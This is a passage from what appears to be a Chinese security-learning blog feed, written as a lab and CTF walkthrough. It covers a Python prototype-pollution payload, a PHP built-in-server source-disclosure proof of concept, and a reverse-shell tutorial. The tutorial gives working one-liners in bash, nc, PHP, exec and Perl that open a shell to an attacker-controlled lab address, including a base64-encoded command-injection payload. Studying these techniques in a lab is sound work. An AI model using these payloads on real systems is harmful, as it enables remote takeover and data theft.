style=\"color:#B5695977;--shiki-dark:#C98A7D77\">\"</span><span style=\"color:#B56959;--shiki-dark:#C98A7D\">__class__</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">\"</span><span style=\"color:#999999;--shiki-dark:#666666\">:</span><span style=\"color:#1e754f;--shiki-dark:#4d9375\">&#123;</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">\"</span><span style=\"color:#B56959;--shiki-dark:#C98A7D\">__init__</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">\"</span><span style=\"color:#999999;--shiki-dark:#666666\">:</span><span style=\"color:#a65e2b;--shiki-dark:#d4976c\">&#123;</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">\"</span><span style=\"color:#B56959;--shiki-dark:#C98A7D\">__globals__</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">\"</span><span style=\"color:#999999;--shiki-dark:#666666\">:</span><span style=\"color:#a13865;--shiki-dark:#d9739f\">&#123;</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">\"</span><span style=\"color:#B56959;--shiki-dark:#C98A7D\">SECRET_KEY</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">\"</span><span style=\"color:#999999;--shiki-dark:#666666\">:</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">\"</span><span style=\"color:#B56959;--shiki-dark:#C98A7D\">Are you sure?</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">\"</span><span style=\"color:#999999;--shiki-dark:#666666\">,</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">\"</span><span style=\"color:#B56959;--shiki-dark:#C98A7D\">ZLARYY</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">\"</span><span style=\"color:#999999;--shiki-dark:#666666\">:</span><span style=\"color:#bda437;--shiki-dark:#e6cc77\">&#123;</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">\"</span><span style=\"color:#B56959;--shiki-dark:#C98A7D\">xiexie</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">\"</span><span style=\"color:#999999;--shiki-dark:#666666\">:</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">\"</span><span style=\"color:#B56959;--shiki-dark:#C98A7D\">what?</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">\"</span><span style=\"color:#bda437;--shiki-dark:#e6cc77\">&#125;</span><span style=\"color:#a13865;--shiki-dark:#d9739f\">&#125;</span><span style=\"color:#a65e2b;--shiki-dark:#d4976c\">&#125;</span><span style=\"color:#1e754f;--shiki-dark:#4d9375\">&#125;</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">&#125;</span></span>\n<span class=\"line\"><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\">merge</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">(</span><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\">obj</span><span style=\"color:#999999;--shiki-dark:#666666\">,</span><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\">pay</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">)</span></span>\n<span class=\"line\"><span style=\"color:#998418;--shiki-dark:#B8A965\">print</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">(</span><span style=\"color:#A65E2B;--shiki-dark:#C99076\">SECRET_KEY</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">)</span></span>\n<span class=\"line\"><span style=\"color:#998418;--shiki-dark:#B8A965\">print</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">(</span><span style=\"color:#A65E2B;--shiki-dark:#C99076\">ZLARYY</span><span style=\"color:#999999;--shiki-dark:#666666\">.</span><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\">xiexie</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">)</span></span></code></pre>\n<p><img loading=\"lazy\" src=\"/2026/03/20/Pickle%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E4%B8%8EPython%E5%8E%9F%E5%9E%8B%E9%93%BE%E6%B1%A1%E6%9F%93/11.png\" class=\"\"></p>\n",
            "tags": []
        },
        {
            "id": "https://zlaryy.top/2026/03/12/%E4%BD%8E%E7%89%88%E6%9C%ACphp%E4%B8%8B%E4%BF%A1%E6%81%AF%E6%B3%84%E9%9C%B2%E7%9A%84CVE%E6%BC%8F%E6%B4%9E/",
            "url": "https://zlaryy.top/2026/03/12/%E4%BD%8E%E7%89%88%E6%9C%ACphp%E4%B8%8B%E4%BF%A1%E6%81%AF%E6%B3%84%E9%9C%B2%E7%9A%84CVE%E6%BC%8F%E6%B4%9E/",
            "title": "低版本php下信息泄露的CVE漏洞与反弹shell",
            "date_published": "2026-03-12T08:30:00.000Z",
            "content_html": "<h1 id=\"低版本php下信息泄露的cve漏洞\"><a class=\"anchor\" href=\"#低版本php下信息泄露的cve漏洞\">#</a> 低版本php下信息泄露的CVE漏洞</h1>\n<p>为了复现这个漏洞拉个docker老是出问题，直接把这篇文章（<a href=\"https://blog.csdn.net/Kawakaze_JF/article/details/133046885?sharetype=blogdetail&amp;shareId=133046885&amp;sharerefer=APP&amp;sharesource=2503_93592530&amp;sharefrom=qq%EF%BC%89%E9%87%8C%E7%9A%84%E5%91%BD%E4%BB%A4%E5%80%9F%E6%9D%A5%E7%94%A8%E7%94%A8%E5%90%A7%EF%BC%9A\">https://blog.csdn.net/Kawakaze_JF/article/details/133046885?sharetype=blogdetail&amp;shareId=133046885&amp;sharerefer=APP&amp;sharesource=2503_93592530&amp;sharefrom=qq）里的命令借来用用吧：</a></p>\n<pre class=\"shiki shiki-themes vitesse-light vitesse-dark\" style=\"background-color:#ffffff;--shiki-dark-bg:#121212;color:#393a34;--shiki-dark:#dbd7caee\" tabindex=\"0\"><code class=\"language-text\"><span class=\"line\"><span>apt-get install docker.io</span></span>\n<span class=\"line\"><span>//下载dpcker</span></span>\n<span class=\"line\"><span></span></span>\n<span class=\"line\"><span>service docker start</span></span>\n<span class=\"line\"><span>//启动docker</span></span>\n<span class=\"line\"><span></span></span>\n<span class=\"line\"><span>docker pull php:7.4.21 </span></span>\n<span class=\"line\"><span>//拉取php 7.4.21的镜像</span></span>\n<span class=\"line\"><span></span></span>\n<span class=\"line\"><span>docker run -it -p 8080:80  4ad229e4e700  /bin/bash</span></span>\n<span class=\"line\"><span>//运行镜像 将docker 的80端口映射到kali的8080端口</span></span>\n<span class=\"line\"><span></span></span>\n<span class=\"line\"><span>echo \"&#x3C;?php \\$flag=ZLARYY&#123;2L47yY&#125;\" > /var/www/html/secret.php</span></span>\n<span class=\"line\"><span>//写入文件</span></span>\n<span class=\"line\"><span></span></span>\n<span class=\"line\"><span>php -S 0.0.0.0:80</span></span>\n<span class=\"line\"><span>//通过php -S开启web服务(必须)</span></span></code></pre>\n<p>关于这个漏洞的详细部分在：</p>\n<p><a href=\"https://projectdiscovery.io/blog/php-http-server-source-disclosure#root-cause-analysis\">https://projectdiscovery.io/blog/php-http-server-source-disclosure#root-cause-analysis</a></p>\n<p>恕我实在无能为力全部理解，只能靠AI帮我解释一下：</p>\n<p>PHP 内置 Web 服务器（<code>php_cli_server</code>）底层的 C 语言状态机，在处理 <strong>“HTTP 请求管道化（Pipelining）”</strong> 时发生了严重的指针错乱。</p>\n<p>正常的 HTTP 是一问一答（发一个请求，等一个响应）。但管道化允许你<strong>把两个甚至多个 HTTP 请求，硬塞进同一个 TCP 数据包里同时发过去！</strong></p>\n<p>所以接下来的逻辑是这样：我们的paylaod当中包含两个GET请求，并且故意不加上<code>Content-Length</code>请求头，这样<code>php_http_parse</code>在解析完第一个请求头之后由于没有看到长度，提前触发了<code>messge_complete(消息完成)</code>的回调函数，但我们还加上了第二个请求在后面，此时状态机会被强行拉回初始状态，在这样的条件下，php引擎的内部标志位被覆盖了，原本应该判断<code>.php</code>后缀需要拿去执行，但由于错误地把<code>is_static_file</code>的标志位设置为了1，那么php引擎就将这个<code>.php</code>文件视为静态文件，如<code>.txt</code>，就导致了php代码没有被执行，还输出了源码作为结果</p>\n<p>在确定请求文件是静态文件还是php文件时，利用的是如下代码：</p>\n<pre class=\"shiki shiki-themes vitesse-light vitesse-dark\" style=\"background-color:#ffffff;--shiki-dark-bg:#121212;color:#393a34;--shiki-dark:#dbd7caee\" tabindex=\"0\"><code class=\"language-text\"><span class=\"line\"><span>static  int  php_cli_server_dispatch(php_cli_server *server, php_cli_server_client *client) &#123;</span></span>\n<span class=\"line\"><span>...</span></span>\n<span class=\"line\"><span>\tif (client->request.ext_len != 3</span></span>\n<span class=\"line\"><span>\t|| (ext[0] != 'p' &#x26;&#x26; ext[0] != 'P') || (ext[1] != 'h' &#x26;&#x26; ext[1] != 'H') || (ext[2] != 'p' &#x26;&#x26; ext[2] != 'P')</span></span>\n<span class=\"line\"><span>\t|| !client->request.path_translated) &#123;</span></span>\n<span class=\"line\"><span></span></span>\n<span class=\"line\"><span>\tis_static_file = 1;</span></span>\n<span class=\"line\"><span>\t&#125;</span></span>\n<span class=\"line\"><span>...</span></span>\n<span class=\"line\"><span>&#125;</span></span></code></pre>\n<p>上述代码包含一个检查，用于确定请求的文件应被视为静态文件还是 PHP 文件。这是通过检查文件扩展名来实现的。如果扩展名不是 <code>.src  .php</code>或<code>.PHP  .ph</code>，或者扩展名的长度不等于 3，则该文件被视为静态文件。这通过将变量设置<code>is_static_file</code>为 1 来指示。</p>\n<p>代码还会检查对象<code>path_translated</code>的某个字段<code>client-&gt;request</code>是否为空。该字段包含文件系统中请求文件的完整路径，用于定位和提供该文件。如果该<code>path_translated</code>字段为空，则表示找不到请求的文件，请求将被视为错误。</p>\n<p>那么接下来尝试尝试复现这个漏洞，先给出poc：</p>\n<pre class=\"shiki shiki-themes vitesse-light vitesse-dark\" style=\"background-color:#ffffff;--shiki-dark-bg:#121212;color:#393a34;--shiki-dark:#dbd7caee\" tabindex=\"0\"><code class=\"language-text\"><span class=\"line\"><span>GET /secret.php HTTP/1.1\\r\\n</span></span>\n<span class=\"line\"><span>Host: 192.168.xxx.xxx:8080\\r\\n</span></span>\n<span class=\"line\"><span>\\r\\n</span></span>\n<span class=\"line\"><span>\\r\\n</span></span>\n<span class=\"line\"><span>GET /ZLARYY HTTP/1.1\\r\\n</span></span>\n<span class=\"line\"><span>\\r\\n</span></span></code></pre>\n<p><img loading=\"lazy\" src=\"/2026/03/12/%E4%BD%8E%E7%89%88%E6%9C%ACphp%E4%B8%8B%E4%BF%A1%E6%81%AF%E6%B3%84%E9%9C%B2%E7%9A%84CVE%E6%BC%8F%E6%B4%9E/1.png\" class=\"\"></p>\n<p>由于我们的攻击原理中不能让其找到<code>Content-Length</code>，所以需要关闭<code>Update Content-Length</code>，注意上面的poc里面的<code>\\r\\n</code>不是手动加上去的，而是开启了burp的<code>\\n</code></p>\n<p><img loading=\"lazy\" src=\"/2026/03/12/%E4%BD%8E%E7%89%88%E6%9C%ACphp%E4%B8%8B%E4%BF%A1%E6%81%AF%E6%B3%84%E9%9C%B2%E7%9A%84CVE%E6%BC%8F%E6%B4%9E/2.png\" class=\"\"></p>\n<h1 id=\"反弹shell\"><a class=\"anchor\" href=\"#反弹shell\">#</a> 反弹shell</h1>\n<p>其实挺早就了解到有这个方法了，在搭建起来kali里面的apache之后现在总算有机会尝试复现了</p>\n<p>反弹shell（reverse shell），就是控制端监听在某TCP/UDP端口，被控端发起请求到该端口，并将其命令行的输入输出转到控制端。reverse shell与telnet，ssh等标准shell对应，本质上是网络概念的客户端与服务端 的角色反转。</p>\n<p>关于反弹shell我的理解是kali上开启监听端口，然后让靶机上开启命令行并且主动连接我的监听端，从而让我在监听端的输入都转入到靶机上，而靶机上的输出都返回到我的监听端</p>\n<p>一种特别典型的利用反弹shell的题目是<strong>无回显RCE</strong></p>\n<p>题目如下：</p>\n<pre class=\"shiki shiki-themes vitesse-light vitesse-dark\" style=\"background-color:#ffffff;--shiki-dark-bg:#121212;color:#393a34;--shiki-dark:#dbd7caee\" tabindex=\"0\"><code class=\"language-php\"><span class=\"line\"><span style=\"color:#AB5959;--shiki-dark:#CB7676\">&#x3C;</span><span style=\"color:#AB5959;--shiki-dark:#CB7676\">?</span><span style=\"color:#A65E2B;--shiki-dark:#C99076\">php</span></span>\n<span class=\"line\"><span style=\"color:#998418;--shiki-dark:#B8A965\">highlight_file</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">(</span><span style=\"color:#1E754F;--shiki-dark:#4D9375\">__FILE__</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">)</span><span style=\"color:#999999;--shiki-dark:#666666\">;</span></span>\n<span class=\"line\"><span style=\"color:#998418;--shiki-dark:#B8A965\">exec</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">(</span><span style=\"color:#999999;--shiki-dark:#666666\">$</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">_GET</span><span style=\"color:#1e754f;--shiki-dark:#4d9375\">[</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">'</span><span style=\"color:#B56959;--shiki-dark:#C98A7D\">cmd</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">'</span><span style=\"color:#1e754f;--shiki-dark:#4d9375\">]</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">)</span><span style=\"color:#999999;--shiki-dark:#666666\">;</span></span>\n<span class=\"line\"><span style=\"color:#AB5959;--shiki-dark:#CB7676\">?</span><span style=\"color:#AB5959;--shiki-dark:#CB7676\">></span></span></code></pre>\n<h2 id=\"bash反弹\"><a class=\"anchor\" href=\"#bash反弹\">#</a> bash反弹</h2>\n<p>这里我直接先给出payload：</p>\n<pre class=\"shiki shiki-themes vitesse-light vitesse-dark\" style=\"background-color:#ffffff;--shiki-dark-bg:#121212;color:#393a34;--shiki-dark:#dbd7caee\" tabindex=\"0\"><code class=\"language-text\"><span class=\"line\"><span>/?cmd=echo%20YmFzaCAtaSA%2BJiAvZGV2L3RjcC8xOTIuMTY4LjE1Mi4xMjgvNzc3NyAwPiYx%20|%20base64%20-d%20|%20bash</span></span>\n<span class=\"line\"><span></span></span>\n<span class=\"line\"><span>其实原paylaod长这样：</span></span>\n<span class=\"line\"><span>bash -i >&#x26; /dev/tcp/192.168.152.128/7777 0>&#x26;1</span></span>\n<span class=\"line\"><span>同时我们还需要在kali上开启</span></span>\n<span class=\"line\"><span>nc -lvnp 7777</span></span></code></pre>\n<p><strong>bash -i &gt;&amp; /dev/tcp/192.168.152.128/7777 0&gt;&amp;1</strong>：</p>\n<p>参考：<a href=\"https://www.cnblogs.com/pandana/p/16289320.html\">https://www.cnblogs.com/pandana/p/16289320.html</a></p>\n<p>1、bash -i：在靶机上启动一个交互式（interactive）的Bash终端</p>\n<p>2、/dev/tcp/是Linux中的一个特殊设备文件,实际这个文件是不存在的，它只是 bash 用来实现网络请求的一个接口。打开这个文件就相当于发出了一个socket调用，建立一个socket连接，读写这个文件就相当于在这个socket连接中传输数据。同理，Linux中还存在/dev/udp/。</p>\n<p>3、192.168.1.102/7777则是攻击者主机的地址和监听的端口了。</p>\n<p>4、“&gt;&amp;”和“0&gt;&amp;1”</p>\n<p>要想了解“&gt;&amp;”和“0&gt;&amp;1”，首先我们要先了解一下Linux文件描述符和重定向。linux shell下常用的文件描述符是：</p>\n<p>(1)标准输入(stdin) ：代码为 0 ，使用 &lt; 或 &lt;&lt;</p>\n<p>(2)标准输出(stdout)：代码为 1 ，使用 &gt; 或 &gt;&gt;</p>\n<p>(3)标准错误输出(stderr)：代码为 2 ，使用 2&gt; 或 2&gt;&gt;</p>\n<p>这里的”&gt;&amp;”与”&amp;&gt;”是等价的，都是表示混合输出，即标准输出1 + 错误输出2。其实 2&gt;&amp;1也是将标准错误输出重定向到标准输出中的意思。那么按照这个逻辑，“0&gt;&amp;1”就是将标准输入重定向到标准输出中。事实也就是如此，“0&gt;&amp;1”跟“0&amp;&gt;1”同样也是等价的。</p>\n<p>回到题目上来说，由于我们的payload里面出现了<code>&amp;</code>符号，那么在URL传参时会把我们的payload截断，所以必须用<code>echo &quot;[base64]&quot;|base64 -d|sh</code>对<code>&amp;</code>绕过，除此之外，直接解析我们的payload的是<code>/bin/sh指向的dash</code>，这个dash在读到<code>&gt;&amp;</code>会直接报语法错误，用echo和管道符最后时候用bash或者sh才会将我们的bash反弹payload交给bash执行</p>\n<p><img loading=\"lazy\" src=\"/2026/03/12/%E4%BD%8E%E7%89%88%E6%9C%ACphp%E4%B8%8B%E4%BF%A1%E6%81%AF%E6%B3%84%E9%9C%B2%E7%9A%84CVE%E6%BC%8F%E6%B4%9E/3.png\" class=\"\"></p>\n<p>这样我们就算成功反弹shell了，之后我们在这个命令行上输入的所有命令都与index.php的限制没有任何关系了，我们直接与靶机的命令行交互，并且靶机的执行结果直接显示到我们的bash上：</p>\n<p><img loading=\"lazy\" src=\"/2026/03/12/%E4%BD%8E%E7%89%88%E6%9C%ACphp%E4%B8%8B%E4%BF%A1%E6%81%AF%E6%B3%84%E9%9C%B2%E7%9A%84CVE%E6%BC%8F%E6%B4%9E/4.png\" class=\"\"></p>\n<p>接下来我想深入了解一下<code>&gt;&amp;</code>和<code>0&gt;&amp;1</code>：</p>\n<p>在本博客的RCE部分中提到过<code>&amp;</code>，当时是说：</p>\n<pre class=\"shiki shiki-themes vitesse-light vitesse-dark\" style=\"background-color:#ffffff;--shiki-dark-bg:#121212;color:#393a34;--shiki-dark:#dbd7caee\" tabindex=\"0\"><code class=\"language-text\"><span class=\"line\"><span>将前面的命令放在后台执行，不等前面的命令执行结束就开始执行后面的命令，还有一种用法是在一行命令末尾加上&#x26;符号使其放在后台运行，比如下载文件……</span></span></code></pre>\n<p>不过这里不是这样，<code>&gt;&amp;</code>表示重定向操作符，<code>&amp;</code>变成了一个指针标记</p>\n<p>不加上<code>&amp;</code>的情况下，<code>echo &quot;ZLARYY&quot; &gt;1</code>表示将ZLARYY字符串写入1这个文件</p>\n<p><img loading=\"lazy\" src=\"/2026/03/12/%E4%BD%8E%E7%89%88%E6%9C%ACphp%E4%B8%8B%E4%BF%A1%E6%81%AF%E6%B3%84%E9%9C%B2%E7%9A%84CVE%E6%BC%8F%E6%B4%9E/5.png\" class=\"\"></p>\n<p>但是如果加上<code>&amp;</code>之后，<code>echo &quot;ZLARYY&quot; &gt;&amp;1</code>的意思就变成了将这个字符串写进编号为1的系统通道，即标准输出：</p>\n<p><img loading=\"lazy\" src=\"/2026/03/12/%E4%BD%8E%E7%89%88%E6%9C%ACphp%E4%B8%8B%E4%BF%A1%E6%81%AF%E6%B3%84%E9%9C%B2%E7%9A%84CVE%E6%BC%8F%E6%B4%9E/6.png\" class=\"\"></p>\n<p><img loading=\"lazy\" src=\"/2026/03/12/%E4%BD%8E%E7%89%88%E6%9C%ACphp%E4%B8%8B%E4%BF%A1%E6%81%AF%E6%B3%84%E9%9C%B2%E7%9A%84CVE%E6%BC%8F%E6%B4%9E/7.png\" class=\"\"></p>\n<p>而使用<code>&gt;&amp; /dev/tcp/192.168.152.128/7777</code>的原理其实是这样：</p>\n<p>如同上面的<code>&gt;&amp;shell</code>一样，使用<code>&gt;&amp;</code>之后，系统原本准备去打开或者创建一个文件，但由于bash解释器在把命令交给Linux内核的时候，会先检查一遍要写入的路径，当bash看到路径以<code>/dev/tcp</code>或者<code>/dev/udp</code>开头，会触发一种特殊的拦截机制，这时候就不会去硬盘上创建文件了，而是调用底层的socket()网络编程接口，向对应的IP地址和端口发起一次TCP握手，此时<code>&gt;&amp;</code>作为<strong>混合输出</strong>，将标准输出和标准错误混在一起，最后顺着TCP发送到对应的IP地址和端口</p>\n<p>之后由于存在<code>0&gt;&amp;1</code>和<code>nc</code>命令，系统会将我们输入的<code>cat /flag\\n</code>变成纯粹的二进制数据包（TCP payload），顺着虚拟网线传输到靶机上，并且<code>0&gt;&amp;1</code>将靶机的标准输入转接到1通道上，导致传输进来的<code>cat /flag\\n</code>被当做靶机的标准输入执行，将标准输出顺着TCP发送到我们的kali上</p>\n<p>那么为什么我的kali上的标准输入会连接到TCP呢？</p>\n<p>这是由于<code>nc</code>命令，一旦<code>nc</code>建立连接，<code>nc(Netcat)</code>会自动把kali的标准输入绑定到TCP连接上，同时将标准输出也绑定上，比如：</p>\n<pre class=\"shiki shiki-themes vitesse-light vitesse-dark\" style=\"background-color:#ffffff;--shiki-dark-bg:#121212;color:#393a34;--shiki-dark:#dbd7caee\" tabindex=\"0\"><code class=\"language-text\"><span class=\"line\"><span>nc -lvvp 7777</span></span>\n<span class=\"line\"><span>//开启nc之后用windows访问192.168.152.128:7777</span></span></code></pre>\n<p>我们能看到：</p>\n<p><img loading=\"lazy\" src=\"/2026/03/12/%E4%BD%8E%E7%89%88%E6%9C%ACphp%E4%B8%8B%E4%BF%A1%E6%81%AF%E6%B3%84%E9%9C%B2%E7%9A%84CVE%E6%BC%8F%E6%B4%9E/8.png\" class=\"\"></p>\n<p>这意味着我们接收到了Chorm浏览器的请求，此时如果我在kali上输入</p>\n<pre class=\"shiki shiki-themes vitesse-light vitesse-dark\" style=\"background-color:#ffffff;--shiki-dark-bg:#121212;color:#393a34;--shiki-dark:#dbd7caee\" tabindex=\"0\"><code class=\"language-text\"><span class=\"line\"><span>HTTP/1.1 200 OK</span></span>\n<span class=\"line\"><span>Content-Type: text/html</span></span>\n<span class=\"line\"><span></span></span>\n<span class=\"line\"><span>&#x3C;h1>Hello ZLARYY&#x3C;/h1></span></span></code></pre>\n<p><img loading=\"lazy\" src=\"/2026/03/12/%E4%BD%8E%E7%89%88%E6%9C%ACphp%E4%B8%8B%E4%BF%A1%E6%81%AF%E6%B3%84%E9%9C%B2%E7%9A%84CVE%E6%BC%8F%E6%B4%9E/9.png\" class=\"\"></p>\n<p>那么在我们windows上的Chorm就可以看到kali标准输入的结果传输到了Chorm上</p>\n<p>我之前提到exec调用的是<code>/bin/sh的dash</code>而不是bash，其实还有一种方法可以避免使用base64编码和管道符：</p>\n<pre class=\"shiki shiki-themes vitesse-light vitesse-dark\" style=\"background-color:#ffffff;--shiki-dark-bg:#121212;color:#393a34;--shiki-dark:#dbd7caee\" tabindex=\"0\"><code class=\"language-text\"><span class=\"line\"><span>cmd=bash -c \"bash -i >%26 /dev/tcp/192.168.152.128/7777 0>%261\"</span></span></code></pre>\n<p>%26是<code>&amp;</code>的URL编码，<code>-c</code>意味着将一段字符串强制作为bash的命令执行</p>\n<h2 id=\"nc反弹\"><a class=\"anchor\" href=\"#nc反弹\">#</a> nc反弹</h2>\n<p>当然反弹shell可不止bash，nc反弹之前在限制长度的RCE中学到过：</p>\n<pre class=\"shiki shiki-themes vitesse-light vitesse-dark\" style=\"background-color:#ffffff;--shiki-dark-bg:#121212;color:#393a34;--shiki-dark:#dbd7caee\" tabindex=\"0\"><code class=\"language-text\"><span class=\"line\"><span>nc -e /bin/bash 192.168.152.128 7777</span></span></code></pre>\n<p>在前文我们提到了<code>nc</code>命令可以主动将标准输入和标准输出连接到靶机，<code>-e</code>参数表示execute执行，那么<code>nc -e /bin/bash</code>意思就是一旦连接上，那么就执行<strong>靶机上的</strong><code>/bin/bash</code>程序，并且将标准输出标准输入标准错误输出全部连接到kali中</p>\n<p><img loading=\"lazy\" src=\"/2026/03/12/%E4%BD%8E%E7%89%88%E6%9C%ACphp%E4%B8%8B%E4%BF%A1%E6%81%AF%E6%B3%84%E9%9C%B2%E7%9A%84CVE%E6%BC%8F%E6%B4%9E/10.png\" class=\"\"></p>\n<h2 id=\"php反弹\"><a class=\"anchor\" href=\"#php反弹\">#</a> php反弹</h2>\n<p>php反弹利用了php中的原生函数<code>fsockopen</code>，该函数在本博客SSRF一栏中提到：</p>\n<pre class=\"shiki shiki-themes vitesse-light vitesse-dark\" style=\"background-color:#ffffff;--shiki-dark-bg:#121212;color:#393a34;--shiki-dark:#dbd7caee\" tabindex=\"0\"><code class=\"language-text\"><span class=\"line\"><span>此函数用于打开一个网络Socket连接，允许与任意主机和端口进行原始的TCP通信。它比HTTP库更底层，因此可以与被防火墙保护的、非HTTP协议的内网服务（如Redis、MySQL、Memcached）直接交互。</span></span></code></pre>\n<p>一种payload为：</p>\n<pre class=\"shiki shiki-themes vitesse-light vitesse-dark\" style=\"background-color:#ffffff;--shiki-dark-bg:#121212;color:#393a34;--shiki-dark:#dbd7caee\" tabindex=\"0\"><code class=\"language-text\"><span class=\"line\"><span>php -r '$sock=fsockopen(\"192.168.152.128\",7777);exec(\"/bin/sh -i &#x3C;&#x26;3 >&#x26;3 2>&#x26;3\");'</span></span></code></pre>\n<p><code>fsockopen(&quot;192.168.152.128&quot;,7777)</code>表示向kali发起TCP连接</p>\n<p><code>exec(&quot;/bin/sh -i &lt;&amp;3 &gt;&amp;3 2&gt;&amp;3&quot;)</code>：之前有提到过文件描述符：0表示输入，使用<code>&lt;</code>或<code>&lt;&lt;</code>；1表示输出，使用<code>&gt;</code>或<code>&gt;&gt;</code>；2表示错误，使用<code>2&gt;</code>或<code>2&gt;&gt;</code>。当连接成功后，操作系统会给这个网络套接字分配一个文件描述符，由于0,1,2都有表示，那么这个新建立的socket网络编号通常为3</p>\n<p><code>&lt;&amp;3</code>，<code>&gt;&amp;3</code>，<code>2&gt;&amp;3</code>就像<code>&gt;&amp;</code>和<code>0&gt;&amp;1</code>一样：</p>\n<p><code>&lt;&amp;3</code>：把标准输入接在网络套接字（3）上，用于接收命令</p>\n<p><code>&gt;&amp;3</code>：把标准输出接在网络套接字上，传回执行结果</p>\n<p><code>2&gt;&amp;3</code>：把报错信息接在网络套接字上</p>\n<p><img loading=\"lazy\" src=\"/2026/03/12/%E4%BD%8E%E7%89%88%E6%9C%ACphp%E4%B8%8B%E4%BF%A1%E6%81%AF%E6%B3%84%E9%9C%B2%E7%9A%84CVE%E6%BC%8F%E6%B4%9E/11.png\" class=\"\"></p>\n<p>还有一种就和bash反弹没什么区别了：</p>\n<pre class=\"shiki shiki-themes vitesse-light vitesse-dark\" style=\"background-color:#ffffff;--shiki-dark-bg:#121212;color:#393a34;--shiki-dark:#dbd7caee\" tabindex=\"0\"><code class=\"language-text\"><span class=\"line\"><span>php -r 'exec(\"bash -c \\\"bash -i >%26 /dev/tcp/192.168.152.128/7777 0>%261\\\"\");'</span></span></code></pre>\n<p><img loading=\"lazy\" src=\"/2026/03/12/%E4%BD%8E%E7%89%88%E6%9C%ACphp%E4%B8%8B%E4%BF%A1%E6%81%AF%E6%B3%84%E9%9C%B2%E7%9A%84CVE%E6%BC%8F%E6%B4%9E/12.png\" class=\"\"></p>\n<h2 id=\"exec反弹\"><a class=\"anchor\" href=\"#exec反弹\">#</a> exec反弹</h2>\n<p>exec反弹也是利用文件描述符和网络socket：</p>\n<pre class=\"shiki shiki-themes vitesse-light vitesse-dark\" style=\"background-color:#ffffff;--shiki-dark-bg:#121212;color:#393a34;--shiki-dark:#dbd7caee\" tabindex=\"0\"><code class=\"language-text\"><span class=\"line\"><span>bash-c '0&#x3C;&#x26;196;exec 196&#x3C;>/dev/tcp/192.168.152.128/7777; sh &#x3C;&#x26;196 >&#x26;196 2>&#x26;196'</span></span></code></pre>\n<p><code>0&lt;&amp;196</code>：把标准输入重定向，去读取文件描述符196里面的内容，这是为了确保当前的输入流被强行接管或者纯粹是老版本系统用来初始化占位</p>\n<p><code>exec 196&lt;&gt;/dev/tcp/192.168.152.128/7777</code>：这里有一个exec的另一种用法：当exec后面没有接任何命令，只接了重定向符号时，exec的作用就变成了<strong>永久修改当前bash进程的文件描述符</strong>，而这句话就相当于开启一个与我的kali相连的网络连接，并把这个连接命名为196</p>\n<p><code>sh &lt;&amp;196 &gt;&amp;196 2&gt;&amp;196</code>：其实也和<code>&lt;&amp;3</code>，<code>&gt;&amp;3</code>，<code>2&gt;&amp;3</code>一样了</p>\n<p><img loading=\"lazy\" src=\"/2026/03/12/%E4%BD%8E%E7%89%88%E6%9C%ACphp%E4%B8%8B%E4%BF%A1%E6%81%AF%E6%B3%84%E9%9C%B2%E7%9A%84CVE%E6%BC%8F%E6%B4%9E/13.png\" class=\"\"></p>\n<h2 id=\"perl反弹\"><a class=\"anchor\" href=\"#perl反弹\">#</a> perl反弹</h2>\n<pre class=\"shiki shiki-themes vitesse-light vitesse-dark\" style=\"background-color:#ffffff;--shiki-dark-bg:#121212;color:#393a34;--shiki-dark:#dbd7caee\" tabindex=\"0\"><code class=\"language-text\"><span class=\"line\"><span>perl -e 'use Socket;$i=\"192.168.152.128\";$p=7777;socket(S,PF_INET,SOCK_STREAM,getprotobyname(\"tcp\"));if(connect(S,sockaddr_in($p,inet_aton($i))))&#123;open(STDIN,\">&#x26;S\");open(STDOUT,\">&#x26;S\");open(STDERR,\">&#x26;S\");exec(\"/bin/sh -i\");&#125;;'</span></span></code></pre>\n<p>其实有了前几个反弹的技巧，这个应该也不难看出来：</p>\n<p><code>use Socket;$i=&quot;192.168.152.128&quot;;$p=7777;socket(S,PF_INET,SOCK_STREAM,getprotobyname(&quot;tcp&quot;))</code>：Perl版本的建桥指令，或者说就相当于php反弹里的fsockopen()，它向kali发起TCP连接，并把这个连接命名为句柄<code>S</code></p>\n<p><code>open(STDIN,&quot;&gt;&amp;S&quot;);open(STDOUT,&quot;&gt;&amp;S&quot;);open(STDERR,&quot;&gt;&amp;S&quot;)</code>：将标准输出标准输入和标准错误重定向到<code>S</code>上</p>\n<p><code>exec(&quot;/bin/sh -i&quot;)</code>：调用操作系统</p>\n<p><img loading=\"lazy\" src=\"/2026/03/12/%E4%BD%8E%E7%89%88%E6%9C%ACphp%E4%B8%8B%E4%BF%A1%E6%81%AF%E6%B3%84%E9%9C%B2%E7%9A%84CVE%E6%BC%8F%E6%B4%9E/14.png\" class=\"\"></p>\n<h2 id=\"awk反弹\"><a 